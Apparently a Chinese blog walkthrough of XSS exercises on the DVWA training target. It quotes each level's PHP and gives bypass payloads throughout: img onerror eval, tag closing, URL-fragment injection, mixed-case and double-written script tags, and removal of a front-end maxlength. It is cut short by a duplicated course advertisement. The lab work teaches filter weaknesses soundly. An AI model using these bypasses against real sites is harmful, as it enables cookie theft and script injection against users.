网络安全-靶机dvwa之XSS注入Low到High详解(含代码分析)_dvwa xss注入

和上面一样,过了一会显示English。尝试Html标签绕过。

Html标签绕过

<img src=x:alert(alt) onerror=eval(src) alt=xss>

仍没有显示

还是没有显示,那应该是需要闭合标签了

闭合标签

></option></select><img src=x:alert(alt) onerror=eval(src) alt=xss>

注入成功

代码插进去了

在这之前我们已经按了F12,查看了源代码,其实除了存储型,DOM和反射都没什么意思,因为可以F12直接查看,对其他用户也没什么攻击性。

代码分析

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    $default = $_GET['default'];
    
    # Do not allow script tags
    if (stripos ($default, "<script") !== false) {
        header ("location: ?default=English");
        exit;
    }
}

?> 

后端过滤了一下<script,大小写都不行。

XSS(DOM)-HIGH

HIGH级别就不从普通的开始试了

闭合+HTML标签绕过

></option></select><img src=x:alert(alt) onerror=eval(src) alt=xss>

失败了

还是会变成English,应该是后端的问题。我也不知道怎么干了。。。

----------------写完后面的反射型,我又回来了---------------

锚点

反射型XSS注入url的锚点(#)后并没有标签id,这似乎提醒着我们可以在锚点后注入(《CTF特训营 P28页也提到了锚点》),这样就不会传到服务器了。

English#<script>alert('xss')</script>

注入成功

点击确定后

代码分析

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

    # White list the allowable languages
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header ("location: ?default=English");
            exit;
    }
}

?> 
主要步骤
  • array_key_exists函数判断default变量是否存在,并判断是否非空
  • 使用switch…case构造白名单,若不在case中跳回到English
漏洞原因
  • 输入想使用switch…case来解决,确实很棒,但是由于不是存储型,可以不发送到服务器进行数据库的存储。不过,锚点这个挺难想到的,还好后面有提示,挺巧妙的!!!
  • 输出未改变编码

XSS(Reflected)-LOW

正常

普通注入

<script>alert('XSS')</script>

异常

代码分析

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?> 
主要步骤
  • array_key_exists函数判断name变量是否存在,并判断是否非空
  • 若存在且非空,直接输出
漏洞原因
  • 输入未过滤
  • 输出未改变编码

XSS(Reflected)-MIDIUM

正常

普通注入

<script>alert(document.cookie)</script>

注入失败

从结果来看,没有了,可能被删除或替换为空字符串。尝试大小写绕过和双写绕过

大小写绕过

<sCript>alert(document.cookie)</scRipt>

注入成功

双写绕过

<scr<script>ipt>alert('XSS')</scr<script>ipt>

注入成功

代码分析

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?> 
主要步骤
  • array_key_exists函数判断name变量是否存在,并判断是否非空
  • 若存在且非空,使用str_replace函数替换
漏洞原因
  • 输入过滤不到位,尝试使用str_replace函数进行过滤,此函数区分大小写,对替换后的字符串不会再检查,可被双写、大小写等绕过
  • 输出未改变编码

XSS(Reflected)-HIGH

正常

普通注入

<script>alert('XSS')</script>

注入失败

仅剩余了>,其他全部没有了,尝试大小写或双写绕过

大小写绕过

<sCript>aleRt(document.cookie)</scRipt>

注入失败

双写绕过

<scr<script>ipt>aleralertt(document.cookie)</scr<script>ipt>

注入失败

可能使用了正则表达式,尝试不使用js标签

html标签绕过

<img src=x onerror=alert('XSS');>

注入成功

<A HREF=http://127.0.0.1/phpinfo.php>link</A>

注入成功

点击链接后跳转

代码分析

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?> 
主要步骤
  • array_key_exists函数判断name变量是否存在,并判断是否非空
  • 若存在且非空,使用preg_replace函数进行正则表达式匹配,且大小写都会匹配到,替换为空字符串,然后输出
漏洞原因
  • 输入过滤不到位,尝试使用preg_replace函数进行正则表达式匹配过滤,但仅匹配了

XSS(Stored)-LOW

正常

post方式,两个都会输出,对一个进行注入即可。

普通注入

<script>alert('lady_killer9')</script>

失败

Name有长度限制,Message注入失败,应该是Name可以注入,但是被限制了。尝试抓包进行注入。

txtName=<script>alert('lady_killer9')</script>&mtxMessage=%3Cscript%3Ealert%28%27lady_killer9%27%29%3C%2Fscript%3E&btnSign=Sign+Guestbook

注入成功

点击其他页面并返回

代码分析

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitize name input
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?> 
主要步骤
  • isset函数判断btnSign是否提交,即是否点击了Sign Guessbook按钮。
  • 使用trim函数去除提交的mtxMesssage、txtName前后导空格,分别给message、name变量
  • 使用stripslashes函数对message删除反斜杠,使用mysqli_real_escape_string函数对name、message变量中的特殊字符转义
  • 使用mysqli_query函数插入数据库
漏洞原因
  • 未过滤输入,使用post方式增加难度
  • 输出未改变编码

通过阅读后端代码,我们发现name长度的判断并不在后端,按F12查看前端代码。

发现maxlength

删除maxlength=“10”

注入成功

漏洞原因:使用前端限制长度

XSS(Stored)-MIDIUM

使用前端进行的长度限制

通过LOW级别,我们知道是前端限制的Name,我们接下来不再抓包,直接删除maxlength,就在页面进行XSS注入。

普通注入

<script>alert('lady_killer9')</script>

标签被删除

标签没了,尝试大小写绕过

大小写绕过

<scRipt>alert('lady_killer9')</sCript>

注入

成功

先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7

深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年最新网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新

需要这份系统化资料的朋友,可以点击这里获取
FFFFF,t_70)

成功

先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7

深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年最新网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
[外链图片转存中…(img-J1KBhZuE-1714395335186)]
[外链图片转存中…(img-GwLZ0Yna-1714395335186)]
[外链图片转存中…(img-FGdqn29T-1714395335187)]
[外链图片转存中…(img-4tacwhLb-1714395335188)]
[外链图片转存中…(img-f6UpDGGB-1714395335188)]
[外链图片转存中…(img-G2HmD2q2-1714395335189)]

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新

需要这份系统化资料的朋友,可以点击这里获取

  • 14
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值